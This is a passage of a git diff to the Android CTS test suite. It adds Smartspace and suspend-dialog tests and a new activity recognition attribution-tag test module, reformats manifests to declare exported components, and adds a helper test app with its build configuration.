+    private void await(@NonNull CountDownLatch latch, @NonNull String message) {
+        try {
+            assertWithMessage(message).that(
+                    latch.await(SERVICE_LIFECYCLE_TIMEOUT_MS, TimeUnit.MILLISECONDS)).isTrue();
+        } catch (InterruptedException e) {
+            Thread.currentThread().interrupt();
+            throw new IllegalStateException("Interrupted while: " + message);
+        }
+    }
+
+    private void runShellCommand(String command) {
+        Log.d(TAG, "runShellCommand(): " + command);
+        try {
+            SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
+        } catch (Exception e) {
+            throw new RuntimeException("Command '" + command + "' failed: ", e);
+        }
+    }
+
+    public static class ConsumerVerifier implements
+            Consumer<List<SmartspaceTarget>> {
+
+        private static List<SmartspaceTarget> mExpectedTargets;
+
+        public ConsumerVerifier(List<SmartspaceTarget> targets) {
+            mExpectedTargets = targets;
+        }
+
+        @Override
+        public void accept(List<SmartspaceTarget> actualTargets) {
+            if (DEBUG) {
+                Log.d(TAG, "ConsumerVerifier.accept targets.size= " + actualTargets.size());
+                Log.d(TAG, "ConsumerVerifier.accept target(1).packageName=" + actualTargets.get(
+                        0).getComponentName().getPackageName());
+            }
+            Assert.assertArrayEquals(actualTargets.toArray(), mExpectedTargets.toArray());
+        }
+    }
+
+    private static class RequestVerifier implements SmartspaceSession.Callback {
+        @Override
+        public void onTargetsAvailable(List<SmartspaceTarget> targets) {
+
+        }
+    }
+}
diff --git a/tests/smartspace/src/android/smartspace/cts/SmartspaceTestUtils.java b/tests/smartspace/src/android/smartspace/cts/SmartspaceTestUtils.java
new file mode 100644
index 0000000..d2a5ffb
--- /dev/null
+++ b/tests/smartspace/src/android/smartspace/cts/SmartspaceTestUtils.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.smartspace.cts;
+
+import android.app.smartspace.SmartspaceTarget;
+import android.content.ComponentName;
+import android.os.UserHandle;
+
+public class SmartspaceTestUtils {
+    public static SmartspaceTarget getBasicSmartspaceTarget(String id, ComponentName componentName, UserHandle userHandle){
+        return new SmartspaceTarget.Builder(id, componentName, userHandle).build();
+    }
+
+    public static ComponentName getTestComponentName() {
+        return new ComponentName("package name", "class name");
+    }
+}
diff --git a/tests/suspendapps/test-apps/TestDeviceAdmin/AndroidManifest.xml b/tests/suspendapps/test-apps/TestDeviceAdmin/AndroidManifest.xml
index 3368398..b336cfb 100644
--- a/tests/suspendapps/test-apps/TestDeviceAdmin/AndroidManifest.xml
+++ b/tests/suspendapps/test-apps/TestDeviceAdmin/AndroidManifest.xml
@@ -15,21 +15,20 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.suspendapps.testdeviceadmin" >
+     package="com.android.suspendapps.testdeviceadmin">
 
-    <application android:label="CTS Device Admin" android:testOnly="true">
-        <receiver
-            android:name=".TestDeviceAdmin"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
-            <meta-data
-                android:name="android.app.device_admin"
-                android:resource="@xml/device_admin"/>
+    <application android:label="CTS Device Admin"
+         android:testOnly="true">
+        <receiver android:name=".TestDeviceAdmin"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
+            <meta-data android:name="android.app.device_admin"
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
-        <receiver
-            android:name=".TestCommsReceiver"
-            android:exported="true" />
+        <receiver android:name=".TestCommsReceiver"
+             android:exported="true"/>
     </application>
 </manifest>
diff --git a/tests/suspendapps/tests/AndroidManifest.xml b/tests/suspendapps/tests/AndroidManifest.xml
index 61dd2f2..2ea98af 100755
--- a/tests/suspendapps/tests/AndroidManifest.xml
+++ b/tests/suspendapps/tests/AndroidManifest.xml
@@ -15,27 +15,29 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.suspendapps.cts">
+     package="android.suspendapps.cts">
 
     <application android:label="CTS Suspend Apps Test">
         <activity android:name=".SuspendedDetailsActivity"
-                  android:permission="android.permission.SEND_SHOW_SUSPENDED_APP_DETAILS">
+             android:permission="android.permission.SEND_SHOW_SUSPENDED_APP_DETAILS"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.SHOW_SUSPENDED_APP_DETAILS" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.SHOW_SUSPENDED_APP_DETAILS"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
 
-        <receiver android:name=".UnsuspendReceiver">
+        <receiver android:name=".UnsuspendReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.PACKAGE_UNSUSPENDED_MANUALLY" />
+                <action android:name="android.intent.action.PACKAGE_UNSUSPENDED_MANUALLY"/>
             </intent-filter>
         </receiver>
 
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:functionalTest="true"
-                     android:targetPackage="android.suspendapps.cts"
-                     android:label="CTS Suspend Apps Test"/>
+         android:functionalTest="true"
+         android:targetPackage="android.suspendapps.cts"
+         android:label="CTS Suspend Apps Test"/>
 </manifest>
diff --git a/tests/suspendapps/tests/src/android/suspendapps/cts/DialogTests.java b/tests/suspendapps/tests/src/android/suspendapps/cts/DialogTests.java
index 93cf8e4..e8caff2 100644
--- a/tests/suspendapps/tests/src/android/suspendapps/cts/DialogTests.java
+++ b/tests/suspendapps/tests/src/android/suspendapps/cts/DialogTests.java
@@ -55,7 +55,7 @@
 @RunWith(AndroidJUnit4.class)
 public class DialogTests {
     private static final String TEST_APP_LABEL = "Suspend Test App";
-    private static final long UI_TIMEOUT_MS = 30_000;
+    private static final long UI_TIMEOUT_MS = 60_000;
 
     /** Used to poll for the intents sent by the system to this package */
     static final SynchronousQueue<Intent> sIncomingIntent = new SynchronousQueue<>();
@@ -176,10 +176,47 @@
                 TEST_APP_PACKAGE_NAME, incomingIntent.getStringExtra(Intent.EXTRA_PACKAGE_NAME));
     }
 
+    @Test
+    public void testInterceptorActivity_strings() throws Exception {
+        // The dialog should have correct specifications
+        final String expectedTitle = "Test Dialog Title";
+        final String expectedMessage = "This is a test message";
+        final String expectedButtonText = "Test button";
+
+        final SuspendDialogInfo dialogInfo = new SuspendDialogInfo.Builder()
+                .setIcon(R.drawable.ic_settings)
+                .setTitle(expectedTitle)
+                .setMessage(expectedMessage)
+                .setNeutralButtonText(expectedButtonText)
+                .build();
+        SuspendTestUtils.suspend(null, null, dialogInfo);
+        // Ensure test app's activity is stopped before proceeding.
+        assertTrue(mTestAppInterface.awaitTestActivityStop());
+
+        startTestAppActivity(null);
+        // Test activity should not start.
+        assertNull("Test activity started while suspended",
+                mTestAppInterface.awaitTestActivityStart(5_000));
+
+
+        assertNotNull("Given dialog title: " + expectedTitle + " not shown",
+                mUiDevice.wait(Until.findObject(By.text(expectedTitle)), UI_TIMEOUT_MS));
+        assertNotNull("Given dialog message: " + expectedMessage + " not shown",
+                mUiDevice.findObject(By.text(expectedMessage)));
+        // Sometimes, button texts can have styles that override case (e.g. b/134033532)
+        final Pattern buttonTextIgnoreCase = Pattern.compile(Pattern.quote(expectedButtonText),
+                Pattern.CASE_INSENSITIVE);
+        final UiObject2 moreDetailsButton = mUiDevice.findObject(
+                By.clickable(true).text(buttonTextIgnoreCase));
+        assertNotNull(expectedButtonText + " button not shown", moreDetailsButton);
+    }
+
     @After
     public void tearDown() {
         if (mTestAppInterface != null) {
             mTestAppInterface.disconnect();
         }
+        mUiDevice.pressBack();
+        mUiDevice.pressHome();
     }
 }
diff --git a/tests/tests/accounts/AndroidManifest.xml b/tests/tests/accounts/AndroidManifest.xml
index a31b77a..999a3c6 100644
--- a/tests/tests/accounts/AndroidManifest.xml
+++ b/tests/tests/accounts/AndroidManifest.xml
@@ -16,59 +16,61 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.accounts.cts"
-        android:targetSandboxVersion="2">
+     package="android.accounts.cts"
+     android:targetSandboxVersion="2">
     <uses-sdk android:minSdkVersion="1"
-          android:targetSdkVersion="26"/>
+         android:targetSdkVersion="26"/>
 
     <!-- Don't need GET_ACCOUNTS because share a Uid with the relevant
-         authenticators -->
+                 authenticators -->
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity android:name="android.accounts.cts.AccountDummyActivity" >
+        <activity android:name="android.accounts.cts.AccountDummyActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="android.accounts.cts.AccountRemovalDummyActivity" >
+        <activity android:name="android.accounts.cts.AccountRemovalDummyActivity">
         </activity>
 
-        <activity android:name="android.accounts.cts.AccountAuthenticatorDummyActivity" />
+        <activity android:name="android.accounts.cts.AccountAuthenticatorDummyActivity"/>
 
-        <service android:name="MockAccountService" android:exported="true"
-                 android:process="android.accounts.cts">
+        <service android:name="MockAccountService"
+             android:exported="true"
+             android:process="android.accounts.cts">
             <intent-filter>
-                <action android:name="android.accounts.AccountAuthenticator" />
+                <action android:name="android.accounts.AccountAuthenticator"/>
             </intent-filter>
             <meta-data android:name="android.accounts.AccountAuthenticator"
-                       android:resource="@xml/authenticator" />
+                 android:resource="@xml/authenticator"/>
         </service>
 
-        <service android:name="MockCustomTokenAccountService" android:exported="true"
-                 android:process="android.accounts.cts">
+        <service android:name="MockCustomTokenAccountService"
+             android:exported="true"
+             android:process="android.accounts.cts">
             <intent-filter>
-                <action android:name="android.accounts.AccountAuthenticator" />
+                <action android:name="android.accounts.AccountAuthenticator"/>
             </intent-filter>
             <meta-data android:name="android.accounts.AccountAuthenticator"
-                       android:resource="@xml/custom_token_authenticator" />
+                 android:resource="@xml/custom_token_authenticator"/>
             <meta-data android:name="android.accounts.AccountAuthenticator.customTokens"
-                       android:value="1" />
+                 android:value="1"/>
 
         </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.accounts.cts"
-                     android:label="CTS tests for android.accounts">
+         android:targetPackage="android.accounts.cts"
+         android:label="CTS tests for android.accounts">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
-
diff --git a/tests/tests/activityrecognition/Android.bp b/tests/tests/activityrecognition/Android.bp
new file mode 100644
index 0000000..a2e5729
--- /dev/null
+++ b/tests/tests/activityrecognition/Android.bp
@@ -0,0 +1,37 @@
+//
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsActivityRecognitionTestCases",
+    sdk_version: "test_current",
+    srcs: [
+        "src/**/*.kt",
+    ],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "truth-prebuilt",
+        "ctstestrunner-axt",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+    ],
+}
diff --git a/tests/tests/activityrecognition/AndroidManifest.xml b/tests/tests/activityrecognition/AndroidManifest.xml
new file mode 100644
index 0000000..5fb7c8f
--- /dev/null
+++ b/tests/tests/activityrecognition/AndroidManifest.xml
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.activityrecognition.cts">
+
+    <attribution android:tag="valid_ar_attribution_tag" android:label="@string/foo_label" />
+    <attribution android:tag="invalid_ar_attribution_tag" android:label="@string/foo_label" />
+
+    <application>
+        <service android:name=".NoOpService"
+                 android:exported="true">
+            <meta-data android:name="android:activity_recognition_allow_listed_tags"
+                       android:value="valid_ar_attribution_tag;valid_at_attribution_tag2"/>
+            <intent-filter>
+                <action android:name="android.intent.action.ACTIVITY_RECOGNIZER" />
+            </intent-filter>
+        </service>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.activityrecognition.cts"
+        android:label="CTS activity recognition tests">
+        <meta-data
+            android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
diff --git a/tests/tests/activityrecognition/AndroidTest.xml b/tests/tests/activityrecognition/AndroidTest.xml
new file mode 100644
index 0000000..86536b7
--- /dev/null
+++ b/tests/tests/activityrecognition/AndroidTest.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<configuration description="Config for CTS Activity Recognition test cases">
+
+    <option name="test-suite-tag" value="cts" />
+
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsActivityRecognitionTestCases.apk" />
+    </target_preparer>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.activityrecognition.cts" />
+        <option name="runtime-hint" value="5m" />
+    </test>
+
+</configuration>
diff --git a/tests/tests/activityrecognition/OWNERS b/tests/tests/activityrecognition/OWNERS
new file mode 100644
index 0000000..febd665
--- /dev/null
+++ b/tests/tests/activityrecognition/OWNERS
@@ -0,0 +1,7 @@
+# Bug component: 137825
+svetoslavganov@google.com
+zhanghai@google.com
+eugenesusla@google.com
+evanseverson@google.com
+ntmyren@google.com
+ewol@google.com
diff --git a/tests/tests/activityrecognition/res/values/strings.xml b/tests/tests/activityrecognition/res/values/strings.xml
new file mode 100755
index 0000000..79b7e8a
--- /dev/null
+++ b/tests/tests/activityrecognition/res/values/strings.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <string name="foo_label">foo</string>
+</resources>
diff --git a/tests/tests/activityrecognition/src/android/activityrecognition/cts/ActivityRecognizerAttributionTags.kt b/tests/tests/activityrecognition/src/android/activityrecognition/cts/ActivityRecognizerAttributionTags.kt
new file mode 100644
index 0000000..9dc4013
--- /dev/null
+++ b/tests/tests/activityrecognition/src/android/activityrecognition/cts/ActivityRecognizerAttributionTags.kt
@@ -0,0 +1,153 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.activityrecognition.cts
+
+import android.Manifest
+import android.app.AppOpsManager
+import android.app.Instrumentation
+import android.app.UiAutomation
+import android.app.role.RoleManager
+import android.content.Context
+import android.os.Process
+import android.os.UserHandle
+import androidx.test.platform.app.InstrumentationRegistry
+import com.android.compatibility.common.util.SystemUtil
+import org.junit.After
+import org.junit.Assert.fail
+import org.junit.Before
+import org.junit.Test
+import java.util.concurrent.CountDownLatch
+import java.util.concurrent.TimeUnit
+
+class RenouncedPermissionsTest {
+
+    var oldActivityRecognizers: List<String>? = null
+        get() { return field }
+        set(value) { field = value }
+
+    @Before
+    fun makeSelfActivityRecognizer() {
+        SystemUtil.runWithShellPermissionIdentity {
+            val roleManager = context.getSystemService(RoleManager::class.java)!!
+            oldActivityRecognizers = roleManager.getRoleHolders(
+                    RoleManager.ROLE_SYSTEM_ACTIVITY_RECOGNIZER)
+            roleManager.isBypassingRoleQualification = true
+            addActivityRecognizer(context.packageName)
+        }
+    }
+
+    @After
+    fun restoreActivityRecognizers() {
+        if (oldActivityRecognizers != null) {
+            SystemUtil.runWithShellPermissionIdentity {
+                for (oldActivityRecongizer in oldActivityRecognizers!!) {
+                    addActivityRecognizer(oldActivityRecongizer)
+                }
+                val roleManager = context.getSystemService(RoleManager::class.java)!!
+                roleManager.isBypassingRoleQualification = false
+            }
+        }
+    }
+
+    @Before
+    fun setUpTest() {
+        val appOpsManager = context.getSystemService(AppOpsManager::class.java)!!
+        SystemUtil.runWithShellPermissionIdentity {
+            appOpsManager.resetPackageOpsNoHistory(context.packageName)
+        }
+    }
+
+    fun addActivityRecognizer(activityRecognizer: String) {
+        val latch = CountDownLatch(1)
+        val roleManager = context.getSystemService(RoleManager::class.java)!!
+        roleManager.addRoleHolderAsUser(RoleManager.ROLE_SYSTEM_ACTIVITY_RECOGNIZER,
+                activityRecognizer, RoleManager.MANAGE_HOLDERS_FLAG_DONT_KILL_APP,
+                UserHandle.SYSTEM, context.mainExecutor) {
+            latch.countDown()
+        }
+        latch.await(5, TimeUnit.SECONDS)
+    }
+
+    @Test
+    fun testActivityRecognitionAttributionTagBlaming() {
+        // Using an AR allow listed tag
+        var timeBeforeArAccess = System.currentTimeMillis()
+        accessActivityRecognition(VALID_AR_ATTRIBUTION_TAG)
+        assertNotedOpsSinceLastArAccess(timeBeforeArAccess, /*expectedOp*/
+                AppOpsManager.OPSTR_ACTIVITY_RECOGNITION_SOURCE, /*unexpectedOp*/
+                AppOpsManager.OPSTR_ACTIVITY_RECOGNITION)
+
+        // Using an AR not allow listed tag
+        timeBeforeArAccess = System.currentTimeMillis()
+        accessActivityRecognition(INVALID_AR_ATTRIBUTION_TAG)
+        assertNotedOpsSinceLastArAccess(timeBeforeArAccess, /*expectedOp*/
+                AppOpsManager.OPSTR_ACTIVITY_RECOGNITION, /*unexpectedOp*/
+                AppOpsManager.OPSTR_ACTIVITY_RECOGNITION_SOURCE)
+    }
+
+    fun accessActivityRecognition(attributionTag: String) {
+        val appOpsManager = context.getSystemService(AppOpsManager::class.java)
+        appOpsManager?.noteOp(AppOpsManager.OPSTR_ACTIVITY_RECOGNITION, Process.myUid(),
+                context.packageName, attributionTag, /*message*/ null)
+    }
+
+    fun assertNotedOpsSinceLastArAccess(timeBeforeArAccess: Long,
+            expectedOp: String, unexpectedOp: String) {
+        val automation: UiAutomation = instrumentation.getUiAutomation()
+        automation.adoptShellPermissionIdentity(Manifest.permission.GET_APP_OPS_STATS)
+        try {
+            val appOpsManager: AppOpsManager = context.getSystemService(AppOpsManager::class.java)!!
+            val affectedPackageOps = appOpsManager.getPackagesForOps(
+                    arrayOf(expectedOp, unexpectedOp))
+            val packageCount = affectedPackageOps.size
+            for (i in 0 until packageCount) {
+                val packageOps = affectedPackageOps[i]
+                if (!context.getPackageName().equals(packageOps.packageName)) {
+                    continue
+                }
+                // We are pulling stats only for one app op.
+                val opEntries = packageOps.ops
+                val opEntryCount = opEntries.size
+                for (j in 0 until opEntryCount) {
+                    val opEntry = opEntries[j]
+                    if (unexpectedOp == opEntry.opStr) {
+                        fail("Unexpected access to $unexpectedOp")
+                    } else if (expectedOp == opEntry.opStr) {
+                        if (opEntry.getLastAccessTime(AppOpsManager.OP_FLAGS_ALL_TRUSTED) >=
+                                timeBeforeArAccess) {
+                            return
+                        }
+                        break
+                    }
+                }
+            }
+            fail("No expected access to $expectedOp")
+        } finally {
+            automation.dropShellPermissionIdentity()
+        }
+    }
+
+    companion object {
+        val VALID_AR_ATTRIBUTION_TAG = "valid_ar_attribution_tag"
+        val INVALID_AR_ATTRIBUTION_TAG = "invalid_ar_attribution_tag"
+
+        private val context: Context
+            get () = InstrumentationRegistry.getInstrumentation().getContext()
+
+        private val instrumentation: Instrumentation
+            get () = InstrumentationRegistry.getInstrumentation()
+    }
+}
diff --git a/tests/tests/activityrecognition/src/android/activityrecognition/cts/NoOpService.kt b/tests/tests/activityrecognition/src/android/activityrecognition/cts/NoOpService.kt
new file mode 100644
index 0000000..bdb16fa
--- /dev/null
+++ b/tests/tests/activityrecognition/src/android/activityrecognition/cts/NoOpService.kt
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.activityrecognition.cts
+
+import android.app.Service
+import android.content.Intent
+import android.os.IBinder
+
+class NoOpService : Service() {
+    override fun onBind(intent: Intent?): IBinder? {
+        return null
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/app.usage/Android.bp b/tests/tests/app.usage/Android.bp
index 9bccb8c..29ba591 100644
--- a/tests/tests/app.usage/Android.bp
+++ b/tests/tests/app.usage/Android.bp
@@ -32,7 +32,7 @@
         "android.test.base",
         "android.test.runner",
     ],
-    srcs: ["src/**/*.java", "TestApp1/**/*.java", "TestApp1/**/*.aidl"],
+    srcs: ["src/**/*.java", "TestApp1/**/*.java", "TestApp1/**/*.aidl", "TestApp2/**/*.java"],
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
diff --git a/tests/tests/app.usage/AndroidTest.xml b/tests/tests/app.usage/AndroidTest.xml
index 5fdf97a..3dbfb93 100644
--- a/tests/tests/app.usage/AndroidTest.xml
+++ b/tests/tests/app.usage/AndroidTest.xml
@@ -25,6 +25,7 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsUsageStatsTestCases.apk" />
         <option name="test-file-name" value="CtsUsageStatsTestApp1.apk" />
+        <option name="test-file-name" value="CtsUsageStatsTestApp2.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.app.usage.cts" />
diff --git a/tests/tests/app.usage/OWNERS b/tests/tests/app.usage/OWNERS
index 0c47ac2..c81bc52 100644
--- a/tests/tests/app.usage/OWNERS
+++ b/tests/tests/app.usage/OWNERS
@@ -3,3 +3,4 @@
 varunshah@google.com
 yamasani@google.com
 per-file NetworkUsageStatsTest.java = file:/tests/tests/net/OWNERS
+per-file CacheQuotaHintTest.java = lpeter@google.com
diff --git a/tests/tests/app.usage/TestApp2/Android.bp b/tests/tests/app.usage/TestApp2/Android.bp
new file mode 100644
index 0000000..1ac6331
--- /dev/null
+++ b/tests/tests/app.usage/TestApp2/Android.bp
@@ -0,0 +1,43 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsUsageStatsTestApp2",
+    defaults: ["cts_defaults"],
+    platform_apis: true,
+    static_libs: [
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "cts-wm-util",
+        "junit",
+        "ub-uiautomator",
+    ],
+    libs: [
+        "android.test.base",
+        "android.test.runner",
+    ],
+    srcs: ["src/**/*.java", "aidl/**/*.aidl"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts"
+    ],
+    sdk_version: "test_current"
+}
diff --git a/tests/tests/app.usage/TestApp2/AndroidManifest.xml b/tests/tests/app.usage/TestApp2/AndroidManifest.xml
new file mode 100644
index 0000000..49a50fc
--- /dev/null
+++ b/tests/tests/app.usage/TestApp2/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.app.usage.cts.test2">
+
+    <application>
+        <activity android:name=".FinishingTaskRootActivity"
+                  android:exported="true"
+        />
+    </application>
+</manifest>
diff --git a/tests/tests/app.usage/TestApp2/src/android/app/usage/cts/test2/FinishingTaskRootActivity.java b/tests/tests/app.usage/TestApp2/src/android/app/usage/cts/test2/FinishingTaskRootActivity.java
new file mode 100644
index 0000000..bea621c
--- /dev/null
+++ b/tests/tests/app.usage/TestApp2/src/android/app/usage/cts/test2/FinishingTaskRootActivity.java
@@ -0,0 +1,54 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package android.app.usage.cts.test2;
+
+import androidx.annotation.Nullable;
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.Until;
+import android.view.WindowManager;
+
+import androidx.test.InstrumentationRegistry;
+
+/**
+ * A test activity that starts another activity within the same task and then finishes itself.
+ */
+public class FinishingTaskRootActivity extends Activity  {
+    public static final String TEST_APP_PKG = "android.app.usage.cts.test1";
+    public static final String TEST_APP_CLASS = "android.app.usage.cts.test1.SomeActivity";
+    private UiDevice mUiDevice;
+
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        startActivity(new Intent().setClassName(TEST_APP_PKG, TEST_APP_CLASS));
+    }
+
+    @Override
+    protected void onStop() {
+        super.onStop();
+        finish();
+    }
+}
